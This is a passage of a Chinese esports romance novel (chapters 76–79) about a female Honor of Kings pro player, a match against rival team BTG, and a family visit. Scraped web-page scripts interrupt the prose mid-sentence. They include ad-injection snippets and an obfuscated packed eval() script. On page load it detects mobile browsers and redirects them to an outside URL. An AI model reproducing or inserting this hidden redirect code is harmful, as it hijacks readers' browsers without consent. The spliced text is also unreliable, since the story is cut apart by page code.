“会上首发的。”齐呈枫的声音从大巴末排的窗边传来,还夹杂着车窗外哄驰的车流。 魏晟半转过身望过去,入眼带上沉默不参与这些话题的宣依:“那依姐要拿鬼谷子压一局吗?” 自那场综艺录制过后,宣依对BTG的厌倦是写在脸上的,虽然他们拿第四的目标里Wolf和BTG是排在尾的,但从宣布S组战队时,几人都已经默契地将这支战队也纳入了败者名单。 宣依取下半边耳机,扬眉:“这种场合小鬼休息。” 淡然的语气搭配自信张扬的神态,魏晟倒吸一口凉气:“好嘞,听依姐的。” 齐呈枫在宣依的话落下后便迎过来:“今天不打鬼谷子?” “看阵容吧,”宣依应和完魏晟的话,转头看向齐呈枫,“我只是突然想起来之前和BTG在综艺里打的那场了。” 那时候宣依带着一身稚嫩,一点就怒地因为那阵嘲笑而任性地在赛场上选择了阿珂,虽然已经不记得双方的阵容了,但她当时其实很清楚这个阵容并不适合选阿珂。 那时候因为一时任性而拿下的胜利再次回忆起来却仿佛置于半空,有些不切实际。 “不记得了,”齐呈枫无所谓地说,“就记得我家小辅助说要让BTG成为我们手下败将。” 那无所畏惧的模样被齐呈枫模仿着语气的话勾回脑海,宣依偏头一笑:“现在不放这种狠话了,赢一场比赛很不容易。” 她依旧是那个无所畏惧的她,只是这份无所畏惧里带上了一份柔和,一份本就存在于她心底的柔和。 - CY在观众席看完了第一局的前两场比赛便与选手席的选手一同离开了前场。 宣依跟在末尾有些乏味地打了个哈欠:“这是我见过拖得最久的一局。” 齐呈枫伸出胳膊供宣依挽着前行:“两边都是打前期的阵容,结果前期都没领先发育,一拖后期就成这样了。” 说着,有人与他们擦肩又停下脚步回头叫住了他:“齐少。” 这个圈子里除了队友鲜少有人知道他的名字,在转身投去目光时,他脸上带着一丝厌倦。 搭着肩走的两人瞬间站直了身。 套着的短袖胸口处映着BTG的logo。 宣依泛上的困意顺着这个logo一挑眉烟消云散,挽着齐呈枫的胳膊与之一同停步。 “嗯?”齐呈枫喉间震出一声低沉的疑问。 两人支吾了许久,在齐呈枫没什么耐心等待他们开口的时候,其中一人终于出了声:“谢谢你!” “哦,和我没什么关系。我女朋友想和你们堂堂正正比一场而已。”齐呈枫没有半分犹豫地脱口,仿佛早料到了会有这一幕。 他们看向宣依,有些哑言。 两边之间的不愉快还历历在目,打破这片沉寂的后面跟上来的人,BTG的射手。 他带着另外两名队友面向两人站定。 不算宽阔的走廊被几个人的站位塞满,宣依悄声问齐呈枫:“什么情况?” 话还没说完,BTG的射手清了下嗓开口:“Hunter老师,我是BTG的队长,关于之前在综艺里对你持有的性别歧视,我们想和你道个歉。” 不太整齐的“对不起”顺着这句话弓腰而下。 宣依被眼前的一幕控在了原地。 她曾在采访里表示自己很渺小改变不了众人对女选手打电竞的看法,可一路走来她凭一己之力推翻很多偏见。直至此刻,身为职业的他人也改变了看法。 “很感谢齐老师和凌老师对我们战队伸出的援手,”又是毕恭毕敬一鞠躬,“但很抱歉,我们并不会因此而在赛场上放水。” 宣依听完这句话,一个箭步跃到齐呈枫身前:“谁需要你们放水了?” 齐呈枫笑着横过手臂拦住宣依:“我说了,我们是为了和你们堂堂正正和你们打一场比赛,我女朋友也不想胜之不武,仅此而已。” BTG三言两语的感谢后便朝着他们的休息室散去,宣依环着手没缓过气来,看着那群人走远:“哼!搞得好像我们在贿赂他们一样。” “说什么胡话呢?”齐呈枫揉揉宣依脑袋,无奈地带着她转身。 “你和鸣哥插手他们战队的事了?” 宣依被一股怒气烧着,但两边的对话她还是很清晰地理解了。 “算不上插手,我们家本来就搞游戏方面,KPL这种大型电竞比赛,我们家也有投资的,比赛公平本就是应该的。凌一鸣嘛,他纯闲的。” 休息室内的凌一鸣附和着任宙话的一刻,一个喷嚏猝不及防打出来。 程舟靠在茶几上,目光瞧着门边的动静:“呈枫他俩咋还不回来?不会找个地方卿卿我我了吧。” 桌子一震,魏晟的脚抵在桌腿上,蹙着眉头:“我们任姐是那种人吗?” “我们小辅助可乖了,”凌一鸣曲着食指揉鼻尖,“应该是在和那俩BTG的聊事情。” “就枫哥之前拜托你那事?” “嗯。” - 很快也轮到了他们的比赛。 宣依跟随着队伍走上舞台,目光扫向对面的屏幕,印着整整齐齐的首发队,笑容昂扬。 第一场,CY随机到了红方,后手BP英雄。 双方ban位都不具什么针对性,只是恰好禁掉了一对打配合的大乔公孙离。而BTG也很快抬上辅助位的廉颇。 宣依捏捏鼻尖思索了分秒,发起了英雄帮抢。 她鲜少在比赛中使用“瑶”。 只是这一次,台下的众说纷纭里有了支持她的声音。 阵容选定。 BTG:猪八戒、娜可露露、嬴政、黄忠、孙膑 CY:夏侯惇、兰陵王、张良、李元芳、瑶 “鸣哥前期下路压一下黄忠经济。”齐呈枫清了下嗓,晃动了两下手腕。 “小问题。”凌一鸣欣然。 因为在红方,兵线汇合之际敌方野区的鸟也会跟着刷新出来,移速几乎对上。 射手前期的经济差距就是在这种地方拉开的。 孙膑一技能有爆炸伤害,他有助于中路的快速清线,而瑶妹的清线能力便弱了,但——刚刚好。 开局宣依直接跟随齐呈枫往上路移动。 程舟使用的张良二技能有优越的清线能力,瑶的支援可有可无。 宣依盯好了第一波兵线快要清完的一刻,挪步进入敌方野区边的草丛。 齐呈枫清完线后便直接奔着野区的鸟过去,二技能的位移里,黄忠甩出的地雷被宣依清拐方向吃掉,接上一技能的控制打在了黄忠身上。 虽然控制效果短,但这就足够了。 齐呈枫目标明确地将技能丢在鸟身上。 宣依没往河道走,反而绕进了野区,她手里没有技能,并没有拉得很远,而是进了红buff后面的草丛。 “蓝开。”宣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 依道。 齐呈枫也在拉扯间打完了鸟,往宣依所在的草丛草丛拉。 一个短暂控制效果的一技能又一次从草丛弹出打在了黄忠身上。 齐呈枫二技能绕过了龙坑到另一侧,宣依则比较吃亏,还刚好迎上中路丢完技能顺着小地图视野包围她的孙膑。 往中路方向,还有一个马上清完兵线的嬴政;往上路方向,黄忠地雷减速效果一吃还是逃不掉。 齐呈枫绕过龙坑后,技能直接往孙膑身上打:“舟,支援。” “马上马上,我没技能。”程舟身影已经进了草丛却只能堪堪按着普攻键。 孙膑夹在其中迎接三方平a,状态并不好。 三两秒,加速逃脱的他在李元芳技能结尾的爆炸里倒下。 “Firstblood”的播报从峡谷贯穿整个会场。 一片欢呼跃起。 齐呈枫并没有在拉扯中跟随孙膑往中路走,他的位置始终落于后排,播报响起前他便已经潇洒回头朝着黄忠方向一个位移:“依依,控控控。” 宣依的距离比较远,转头移动了两步才丢出的一技能却与黄忠擦了肩。 此刻齐呈枫的血量并不占优势,刚才黄忠一直在背后输出,只是一个人头的经济优势再加上辅助的存在让这份对峙并不能在脑子里迅速得出谁劣谁优。 一技能空掉那瞬,宣依的哀叹声随着麦的收音传入众人耳中。 但圆球却命中了草丛里蹲着的娜可露露。 没给两人茫然的时间,娜可露露被命中后反应迅速地往李元芳身上一贴。 宣依隔着一个龙坑束手无策地往前支援。 而兰陵王也及时跃进了河道,他直径路过娜可露露将伤害打在黄忠身上。 宣依顾不得齐呈枫的情况,按着二技能在一边打微薄伤害,挪动间卡到了鸟刷新点位的墙边。 一技能刷新,黄忠还在往塔下撤。 “上上上。” 宣依先手按下一技能,让兰陵王有靠近机会,捏着他进塔的一刻又按下了干扰。 指尖漫出细汗,滑动摇杆的同时,几根指头匆匆一摩擦。 程舟丢了个一技能控住了娜可露露,紧接着落下刚储好的二技能,配合着齐呈枫的技能伤害,又一个人头拿下。 只是前期伤害不够,黄忠一丝残血脱离了危机。 尽管如此,CY也在这个刚开局的时间点拿下了完美的配合。 台下连叹着这场里面那经常的一二技能交替,却打出这样的效果。 “但凡这把CY这边拿个张飞牛魔什么的,抗个塔伤黄忠也得没。” “你有点意识没?李元芳已经两个人头了,射手优势打出来了,再去抗个塔给黄忠送一个吗?” “拜托,拿张飞牛魔还会是现在这个趋势嘛?” “嘁,不就是个只会软辅的妹子吗?有点意识就被吹成这样。” “诶,你这人怎么还……”台下角落也掀起一番对峙。 “但凡看过几场CY比赛的都不会这样说,”他们身旁身着浅咖色短袖的男生淡淡开口,“你要清楚瑶出现在KPL的胜率为47.3%,而其中有五场的胜利集中在本赛季的同一个人身上。” 毋庸置疑,这个人是Hunter。 暗色灯光交替,郑晨转过脸,同样的高度却带着藐视的目光瞧向身旁吹嘘的人:“你觉得这会是她的第六场吗?” 那人不知是被郑晨气势震慑住还是其他,咿咿呀呀的声音吞没在场馆里。 “或者问,你觉得你能用你所谓的某个硬辅在KPL里拿下五战五胜的成绩吗?” 77. 这是第七十七章 “让我们恭喜CY战队3:2获得本局胜利。” 虽然早早便下了必胜的决心,但第五场水晶推掉的那一刻宣依还是在一片呐喊声中泛起了泪花。 又一场胜利落幕,几个人在休息室内准备着赛后采访。 宣依手里握着手机看几分钟前比赛时的弹幕,荡在地板前的小腿时不时晃动着。 齐呈枫从那边男生的热议里脱离出来,靠在宣依身边,目光落在她欣喜摆荡的小腿跟上,笑着问:“这么开心呀?” 手机屏幕倾斜过来拦了齐呈枫一片视野,瞳距缩小落在屏幕上,纤细的食指往一条弹幕上指:“夸这么好听,能不开心嘛?” 【h姐真的人甜操作野!】 不知是第几次回看,她的指尖就顺着弹幕精准落在其中的几条上。 【前面,官方资料h小姐姐03年哦】 【啊啊啊啊啊是妹妹就更喜欢了!!】 她的指尖收回,齐呈枫便也顺着她手指收回的动作偏头瞧向宣依。 中场休息时分析局面随意缠过两圈皮筋绑起的丸子下留着一整束发梢,刘海被别到耳后只有几缕稍浅的碎发在半低着的眉骨前挂着,装点着她的侧脸轮廓。 曾几何时无数次瞧去都是拧眉忧愁的眉头此时却在笑意里舒展着。 齐呈枫抬手摘下她的发圈,套在了手腕上。 发丝柔顺滑落肩头,扰了视野,宣依抬手拨开转了过去:“要给我扎头发?” 齐呈枫抬起手臂,上面挂着一松一紧两根发圈:“嗯。” 宣依便配合地收回手机转过半个身子。 两人又扯起了别的话题。 手机一声震动里,宣依抬起屏幕看了眼,【妈咪酱:明天早上回来还是下午啊?】 宣依敲着屏幕,随口问道:“小枫枫,明天跟我回家吗?” 散漫的语调却让齐呈枫挽发的动作一愣,又炸出了两根碎发,齐呈枫又松了力道重新挽:“昂。” 另一边几个男生的话题在程舟不经意一瞥中迁到了他俩身上,两个小分队聊得正欢,门边传来敲门声。 “应该要赛后采访了。”凌一鸣迈步往门口走。 随着开门的幅度,来人头顶的鸭舌帽又往下压了压,掩了整个上半张脸。 “我们马上过去。”凌一鸣先开了口。 “不是的,我是你们粉丝。”他的头并没有在这句话里抬起,反而沉得越低。 宣依偏头朝门边的动静瞧去,只一眼便勾勒出了来者的轮廓,半信半疑地出声:“郑晨?” 几个人扭头瞧了眼宣依重新再看向门外的身影,他已经抬起眼眸向靠里的宣依瞧来:“这都看得出来?” “热昏了,”边说边揭下了鸭舌帽撩起头发,“真是还不如依依半个月的感情。” 齐呈枫绑好发圈转过身看向郑晨:“依依?” 另外几个看热闹不嫌事大地揽着郑晨的肩便是一顿笑。 几个人嬉笑聊了起来,约着晚上聚个餐。 齐呈枫出言拒绝:“晚上我和依依回趟家,明天也和任姐说了休息,你们约,下次我请。” 宣依只知道明天的行程,对今晚的安排一脸茫然,几个人咦吁里,宣依悄悄靠向齐呈枫耳边:“啊?今晚就回去吗?” “回我家,”齐呈枫也轻声回应她,“总不能空手去见章阿姨吧。” “而且我妈也想你了。” 宣依点头了然。 等采访出神的一小会儿里她才恍然过来一件事,采访一结束便拉着齐呈枫的手走在前面:“那我也不能空手去见齐夫人吧!” “我记得齐夫人经常吃某家的燕窝来着,”宣依捞出手机地图搜索起来,“刚好有个门店就在安诚街那边。” 她划了下状态栏,握住齐呈枫的手小跑起来:“刚好还没关门,走走走。” - 宣依赶着时间在推销员的三言两语里便选了最贵的一个礼盒套餐,收银台“滴”一声,四位数显示在了结账页面。 齐呈枫举起手机收付款却被宣依一把推开,用自己的付款码盖过:“你怎么这么喜欢结账啊!” 付款到账后宣依还确认了一下是从自己手机扣的,接过一整盒的套餐:“这是我的见面礼,怎么可以你来结账呢?” 齐呈枫像个做错事的小狗垂着头却还是乖乖伸爪子接过主人手里的重物。 宣依空出手来瞧了眼时间:“嗯,时间差不多。” 两人一同出了商城,天色带上了昏暗,两人朝着车位走去,宣依看着齐呈枫按下后备箱,但靠近后却只是匆匆又扣下了后备箱,连燕窝都没放进去。 宣依皱眉:“怎么了?” “啊,后备箱没位置了。”齐呈枫重新提起礼盒拉开后门放在了其中。 “你还会把后备箱当杂货间啊?” 宣依虽这样说,但并不在意礼盒放在哪儿,向前拉开了副驾驶的车门。 齐呈枫没说什么,握着车钥匙往驾驶座走时,车却随着他溺上细汗的指尖无意按下了亮灯键。 车灯跟着“哔哔”两声闪了两下。 宣依扣安全带的动作一愣,茫然看向驾驶位钻身入座的齐呈枫:“你干嘛啊,吓我一跳。” 齐呈枫插上车钥匙,抽了两张纸擦过掌心扶上方向盘:“噢,不小心按……” 话被宣依忽然扯着安全带靠过来的动作咽了回去,距离问题,宣依抬手解开安全带继续向前拉过齐呈枫身后的安全带绕过他身子扣了上去:“齐呈枫,你是不是一紧张就喜欢按车钥匙啊?” 宣依想起上次这么突然打响的车灯,是在初来乍到网咖的那天,发生了什么不记得了,只是场景有些莫名吻合。 “你这么容易紧张,我觉得我还是早点去考个驾照吧,”宣依摆摆头坐回身子,重新扣上自己的安全带,“但一个后备箱有什么好紧张的,该不会……” “装了人民碎片吧!?” 一句话让齐呈枫情绪得以平复,手指轻叩了下宣依的脑袋:“想什么呢。” 车缓缓移动出了车位驶上正路。 有什么好紧张的? 倒没有。只是齐呈枫早就为宣依的登门拜访为她准备好了见面礼,只是显然她自己买的更有诚意。 一个为了钱与他有了交际的人却在最后愿意在这段感情中的礼节花费小半个月的积蓄。 真好。 宣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 依按下车窗,撑着脑袋望向窗外不停奔波的绿化带:“齐呈枫,你说我们能夺冠吗?” “如果此时是个采访,我会说,当然我们就是奔着冠军来的,”车内播放着抚人心弦的轻音乐,“但私下里,我的答案是……不知道。” “我从出生开始做什么事都很顺利,想打比赛于是第一支战队便进了KPL,想放下比赛好好学习于是又回到学校备战高考,再后来重新进入战队又遇到志同道合的队友,现在连喜欢的人都坐在我的副驾。” 他的声音在舒缓旋律中显得儒雅文质,勾得宣依心怦怦跳动,竟忘了对此做出反应。 齐呈枫瞧了眼她认真聆听的模样,收回目光继续道:“我当然想夺冠,但也不得不承认这群对手都挺厉害的,他们有人甚至到此刻都只用了百分之五十的实力,而我却早已拼尽全力。” “是吗?”宣依又望向了窗外,“我觉得和我们对战的每支战队也用了百分百的实力,我们可没那么好赢。” 风声唏嘘窜入耳,少女坦荡而无限坚定。 临近高架,齐呈枫瞧了眼依旧靠在车窗上的宣依:“宝儿,收收手我关车窗。” 宣依听话的收回手坐正了身子,车窗闭合将外面的喧嚣隔绝开,整个车里只留下了轻音乐的悦耳旋律,宣依也跟着哼唧了两声,突然扭过头:“你刚叫我什么?” “宝儿?” 齐呈枫不置可否地默声。 “还挺好听的,再叫一声呗,小枫枫。”宣依瞧过去。 她旖旎的声调被刻意压低,透着几分矫揉造作,只是这个声音对齐呈枫而已却格外受用。 他抬手扶着脖颈,虚虚掩过自己暗爽的神色,乔装淡定:“我家依宝宝不怕待会儿回家改不了口嘛?” “爱听,你待会不改口尴尬的也只是你。”宣依无所谓地拿出手机刷了起来。 自从开始打电竞之后,手机大数据总是推来各种各样关于KPL的视频笔记什么的。 宣依无聊地观看起一条剪辑视频。 其中一场团战剪辑混在其中却格外抓睛,不允许拉进度条的一分半视频就这样因为那一波团战被反复看了三遍,每一遍都有新的感觉。 她便点进评论区观看起来,而博主的素材来源恰好被置顶在了最上面。 宣依退出评论区挨着数了一遍那是第几段素材,又返回评论区找答案——2018年秋季赛总决赛BTG对战Wolf。 这场反复被众人提起的比赛愈发诱人,宣依举着屏幕中暂停下来的画面:“我们今晚看这个吧。” 齐呈枫瞥了眼:“你又刷到那场比赛了?” “你看完了?”宣依记得第一场不是这几位英雄,这段素材应该是在后面几局的。 “嗯,”齐呈枫应声,驶下高架后便将宣依那侧的车窗掀开一条缝,“后面三场BTG的团战打得都挺牛逼的,只是可能因为后面赛季改版的原因,大多数战术是行不通的,但刚才视频那一段确实很吊。” “小逆风局的三打五,真的还挺帅。” “有点描述不出来,你就是听解说都跟不上的那种。”齐呈枫感慨,“等会儿晚上一起再看一遍,你应该分析比我透彻些。” 78. 这是第七十八章 难得团聚的齐家围坐在会客厅的圆桌上,齐溪挨着盛远炤,宣依挨着齐呈枫,齐先生和齐夫人也坐一起。 和睦的气氛仿佛置身于记忆中的露天大坝里,宣依远远看着给齐夫人添菜的齐先生忽而低下了头,用夹菜的动作掩盖自己鼻尖酸涩而泛起的泪花。 她干涩地刨了一口饭,捏着筷子的手往眼角一擦,一双筷子也混入视线。 那双筷子带着一块鲈鱼肉落入碗中,再转头是齐呈枫亲昵的语气;“这个挺鲜的,没什么刺。” 宣依点点头吃起来。 整顿晚餐,齐夫人抛出的各种小问题都由齐呈枫来应声,话里话外还掺杂着对宣依的称赞。 “依依呀,你们那个比赛打得怎么样啊?” 宣依和齐先生的交流很少,他带着浓厚的商业气息,说话时也带着一股压迫感。 齐呈枫还没来得及开口,齐先生又道:“这个问题依依可以回答吧?” 宣依闻言,目光从齐呈枫剥虾的动作里抬起:“嗯,今天的比赛赢了,还有两场比赛就进入季后了。” “那齐呈枫打得怎么样?” 宣依往身旁的人瞧了眼,但他似乎刻意避开了眼神交流,剥完一个虾便直接放进了中间的空碗里,用着繁琐的动作擦着指尖。 仿佛也在恭候这句话的回应。 一时桌上陷入了沉默,宣依无助地收回目光道:“当然厉害啦,ADC在团队中的作用很关键的,今天的最后一场就是靠他力挽狂澜的呢。” 齐先生笑着转动了圆盘继续夹菜:“那就好,我还怕他拖你们队伍后腿呢。” 晚餐进行得还算愉快,宣依跟着齐夫人又去院里溜达了一圈,再回来的时间已经十点过。 客厅的灯光已经昏了下来,齐溪正拉着盛远炤看一部悬疑电影。 宣依一个出神间,齐夫人已经上了台阶。 那头正好播放着女主角落单进入一个黑黢黢的房间内,镜头一转,女主身后漫着一整条的血脚印。 宣依蹙眉,视线脱离了画面。 下一瞬,远近两道尖叫重叠。 齐呈枫坐在暗处的摇椅里玩着手机,暗色的屏幕光让宣依忽略掉了这个人影,结果刚靠近,齐呈枫起身相迎的动作给一个刚脱离恐怖画面的宣依吓得一个激灵:“吼!” 还好身形被齐呈枫及时稳住,退步的动作也被一同拦下。 齐溪被后面的尖叫打断了思绪,转头看过来很快又拧了眉:“齐呈枫!不许欺负依依!” “依依,章阿姨的房间还没有动过,你今晚还是在那儿睡。” 宣依木讷地点点头,从齐呈枫的怀里撤出来便直径向着走廊去。 齐呈枫三两步跟上来:“不是说今晚看……” “齐呈枫!上楼睡觉去!”齐溪又一声令下。 这一声连带着宣依也被震慑住,她愣了愣才开口回应齐呈枫:“等会儿连麦看。” - 如齐溪所说,房间的布局甚至连衣柜残留的几件衣物都没有变动,只是能明显看出来是时常清理的,床头柜依旧一尘不染。 宣依捏着手机坐到了床沿,给齐呈枫发消息。 【7:我先洗个澡噢。】 齐呈枫站在洗漱台前褪去上衣,将消息发送后掰开了花洒。 一旁的手机叮铃一声,大概知道是“OK”之类的消息,但齐呈枫还是叩了水阀,扯着毛巾擦了擦手点亮手机屏幕。 然后血液一热。 手机差点掉地上。 宣依不知道此时齐呈枫的状态,只是等了半分钟没有回复又发来了一句。 两句话连在一起,烧得齐呈枫血液沸腾。 【XYYYY:洗澡不可以连麦吗?】 【XYYYY:不可以算了,真小气。】 发完这句话的宣依已经悠哉倒在了床铺里刷起视频,结果刚进入视频软件就弹出语音通话的弹窗。 宣依举着手机左右辗转了两下,才坐起身清了清嗓接通,还没来得及调侃,就听见那头哗啦啦的水声落在肌肤上,瓷砖地上。 脸上一瞬蔓上来的火热让她匆匆按下了挂断,把手机往旁边一丢。 齐呈枫听着意料之中“嘟嘟”两声的挂断,勾上了笑意,撩起头发冲洗着。 洗完后边擦着头发边走向床,不想让宣依久等连吹风机都懒得用,随意地按下语音键:“怎么挂了?不是想连麦吗?” 宣依料定了此时齐呈枫已经洗完了澡,便一个语音又打了回去:“不小心按到了,你洗完了?” “嗯哼。” 隔着屏幕的语音通话声音是不一样的,不似语音条那般慵懒随意,也不似面对面时欣喜动容。 此刻的声调更接近他原本青涩沉默的低音。 “哎,那可真是太可惜了。”宣依还绘声绘色地摆着脑袋。 齐呈枫也不拆穿,悠悠地顺着她的话:“可惜?那要不直接打视频?” 被逼上悬崖的宣依终身一跃,两人真的从语音连麦变成了视频通话,这还是第一次通过这块小小的屏幕看向他。 湿发在擦拭中还滴答落着水滴,兴许是刚洗完澡齐呈枫的脸色再到嘴唇都有些发白,宣依的目光最后是落在那瓣薄唇上,等那头问:“我OK了,现在开始看嘛?” 嘴唇一张一合间,宣依才回过神来:“昂?” 齐呈枫瞧了眼悬浮窗的宣依,笑着继续道:“上次第一场看完了,直接从第二场开始吗?” “嗯。”宣依这才缩小屏幕画面匆匆去翻找游戏对局。 两人一同倒数着三二一,按下播放键。 宣依观看起比赛后很快变得沉默,齐呈枫看过这几场比赛,所以只是手机播放着比赛,思绪却全集中在iPad上宣依横过屏幕来的模样。 她一蹙眉,齐呈枫就知道场上情况变得难以琢磨起来,大概是BTG打野在Wolf打龙的时候去反了个红buff。 果不其然,宣依开口:“他去反这个红buff我能理解,但直接不管主宰了?” 齐呈枫瞟了眼手机屏幕的对局状况,淡然道:“毕竟BTG在打顺风局,有这个容错率。” 宣依依旧不理解地瘪起了嘴继续观看。 这一场确实是BTG的顺风局,Wolf拿了那波主宰后只是在打野射手辅助三人的攻破下拿了下路防御塔 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兰陵王从中塔出来直奔后排孙尚香来了一记标记,咔咔两下解决了孙尚香,BTG的目标因为这一幕而分散,貂蝉和刘禅还专注塔下的李元芳和张飞,但打野和法师处于塔外沿一瞬乱了阵脚般,尤其是法师,刚刷新的cd直接对着兰陵王放了出来。 倘若这个技能是丢在塔里,对面李元芳就没了,结果这个朝着兰陵王丢的大招,既没终结兰陵王还让李元芳一个二技能拉开了距离,往塔下丢了个大招吸了点血后再次往前a。 Wolf的逆风守塔,守住了!? “这个兰陵王的反应好快,这种情况还会想到出塔绕后。”宣依感慨。 齐呈枫也跟着感慨:“我当时看这场的时候要不是进度条就直接跳过了。”毕竟这种大顺风的局,经济领先的团战换成他们也会打。 进度条? 宣依往下瞧了眼,APP内会为每一场的比赛做一个分节点,这一场还有接近八分钟。 Wolf都已经只剩三高地了,结果因为这一波又拉扯了八分钟!? 后期的Wolf似乎重新找了节奏,开始主攻一路,射辅肉三个人一同连推上路两座塔。 “那上次凌一鸣带我们看的应该是这后面的两场其中之一,Wolf这把一直都没有主攻一条路,就是这一波团战开始后才开始几个人打一条路的。” “嗯,一鸣上次给我们看的是最后一场。” “我就说应该就是从这场过后才开始打这种战术的。”随着团战结束,宣依靠在了枕头里。 那个小小的视频弹窗被拉在了视频的最右侧,不太突兀的角落却因为突然漆黑的屏幕引得宣依注意到了边缘。 正准备出声询问,那头传来了齐溪的声音。 “齐呈枫,有事没?” 声音隔得远,听不太清晰,宣依犹豫了一会儿觉得听他们讲话不太好便关了扬声器和麦克风自己观看起比赛。 八分钟的比赛落了尾,宣依估摸着两人对话也该结束了,便重新打开扬声器。 他们的对话在没了游戏对局的声音后清晰传入耳。 齐呈枫有些不太耐烦地催促:“所以你问这么多宣依的事,是想说什么?” “就……我和盛远炤都是第一次,有点……”齐溪犹犹豫豫开口。 79. 这是第七十九章 宣依清楚听到了那头的对话,才反应过来扬声器关错了时间。 刚准备再关扬声器时,那头的声音被什么掩盖后只残有支支吾吾的杂响,然后视频通话挂断了。 界面返回到了两人的聊天页面,宣依看着屏幕满脑子:什么情况?? 宣依在聊天页面犹豫了半秒,划过页面回到了比赛回放的界面,继续开始了第三场比赛。 激烈团战打起来还好,峡谷一安静再加上解说员松散下来的对话总让她的思绪飘散,又想起那段对话。 Wolf前期打得顺为了防被翻盘连着避开了两次开团,悠哉的你来我往里,宣依不觉想得更远了些,脑海莫名浮现那晚车内缠绵吻后调情的“双排”二字,紧急撤回的废料却让她看不下去这场比赛。 屏幕一黑下来,房间的宁静被无限放大,往后一仰身陷入枕芯,又扯着枕头盖过自己的脸。 不知不觉便沉入了睡意。 昏昏沉沉里,那段对话似梦一般淡化在了其中,再抬手摸着手机看时间已经清晨六点过。 下方界面挂着一片冗长的未读消息。 在一条条消息的阅读里缓缓清醒,看到最末时宣依已经拉着枕头坐起了身。那段星星零零的对话又映入脑海,好生尴尬,思索了好一阵宣依才在对话框里输入:昨天不小心睡着了,你怎么把电话挂了? 深深呼了一口气才将这段话发了出去。 看着沉寂的聊天页面,宣依起身进洗手间洗漱。 自从齐呈枫时常揉脑袋又替她挽发的行为过后,宣依的发型便也总配合地扎个松散的低马尾。 洗漱结束后也还不到七点,另一头依旧沉默着。宣依抬起头对着天花板淡淡吐槽了一声:“猪。”便返回昨天的比赛界面重新观看起来。 那场以Wolf顺风作为“开场白”的比赛转变在了中路二塔被攻破后由BTG主动发起的团战里。 直观的经济差让镜头扫过的观众万分不理解,可现实却让他们不禁哑言。 Wolf从拿下优势后便往上路推,以至于BTG这边上路高地岌岌可危的同时中路才刚掉二塔。而此刻Wolf上单位置还未进河道,离中路相隔的距离没办法及时接团,少了抗伤害的肉坦,射手是最先被切掉的。 他们的团战与其说开在中路不如说在红buff边的草丛位。 挨着上路的草丛里埋伏着法师,很快跟上团,一个控制一次控住剩下三个人,经济的差距在这压倒性的两秒控制里却毫无翻身机会。 一波团战结束,BTG避开了Wolf仅剩的上单视野,分别将中下两座塔连连推掉。 这一波漫长的复活时长便让局面变得不相上下起来,未拉回的经济差在BTG的一波风暴龙王里越乎渺小。 又是一场你来我往的车轮战,只是在这场之中就连这样的拉扯也是精彩的。尤其是两个射手在野区撞上的一波,Wolf想靠射手打个突破,打野很快从后方跟上伤害,另一边BTG也绝不示弱,上单二技能隔开两人距离,扛了个伤害。 宣依看得愈加起劲,也跟着Wolf忽略了这场团战里少掉的打野。 等导播镜头反应过来切换时,这边的团战还在继续拉扯,而BTG的打野已经趁此从下路带着兵线上了高地。 画面切至Wolf选手匆乱反应过来这刻:“家没了家没了,回去回去。” 只是这边的团战就是为了打断他们的回城。 虽然早就知道了最后的比赛结果,可从两支队伍开始这场拉扯时宣依没办法揣着答案看比赛,仿佛这场比赛的胜负并没有因为最终结果而被注定,她悬着一口气,心情与现场呐喊又沉头的观众一样跌宕起伏。 将最后一场比赛看完时才注意到时间已经近了八点。 只是齐呈枫还没回消息。 宣依整理着衣服走出了门,迎接她的是沙发上翻着书的齐夫人,只是她看得专注,等到宣依犹豫的那句“齐夫人早”脱口后她才注意到了身前的人。迎上了满面笑意:“依依起这么早啊!昨晚睡得还好吗?” 她挪位置的同时拍了拍身旁的空余,宣依点头坐在了她身旁:“挺好的。” 几句寒暄里,齐夫人附上宣依的手背拍了拍,声音里充斥上不舍:“哎,你说多在这儿呆两天不好吗?” 宣依也不知道这种场景该附和些什么,抿唇犹豫着如何开口之际齐呈枫的声音从二楼传来:“妈,你又和依依说什么呢?” 他垂手搭在二楼栏杆上,因为栏杆高度弓腰的动作明显,兴许是睡意朦胧又或是独属于他的漫不经心,在宣依抬头望去时那淡然的面容才勾起了笑,转身从楼梯走下来。 齐呈枫打断了齐夫人的盘问,带着宣依去餐厅拿了两块三明治:“你先吃,我洗漱完就去你家。” 宣依接过三明治点头:“你一起床就下来了?” 齐呈枫瞧了眼宣依松懒的低马尾抬手附了上去,垂下腰与坐在椅子上的宣依平视:“谁叫某人不太会应付这种事呢。” - 几次往来里,齐呈枫甚至不需要再打导航,扶着方向盘打了一口哈欠:“你昨晚把比赛看完了?” 这句话召回的内容占比更多的是齐呈枫与齐溪的对话,但宣依依旧平心静气地回答:“嗯。” 齐呈枫点头好像将话题收了尾,只是欲言又止的模样被宣依净收眼底,她犹豫着还是开了口:“我本来闭麦了,看比赛差不多打完了才开的……结果正巧听见了。” “我也没想到她会和我聊这种话题,”齐呈枫不想两人之间产生芥蒂,昨晚思索了很久该讲点什么最后一个字也没输入,选择了当面说清楚,但看着早上宣依那条消息时也不知那种心情是松了一口气还是更加耿耿于怀,“依依,我从来都没急切想要什么。” 车逢红灯,减速停了下来。 齐呈枫搭着方向盘扭头看向宣依,语气认真,目光也诚恳,让宣依避无可避地与他对视。 “你不用觉得紧张或尴尬,这段恋爱的主动权永远归你。” 宣依在这灼热的目光里忘了思考,只盲目地点着头。 等车再次行驶时,她的心中已然思绪万千。 她时常觉得在这段感情中她是亏欠齐呈枫的。就连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13917258|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻也一样,齐呈枫明明可以什么也不说,但却将宣依所有的敏感包裹住,小心翼翼地解释。 终于进了小区,齐呈枫熟悉地停下车,将宣依放下车。 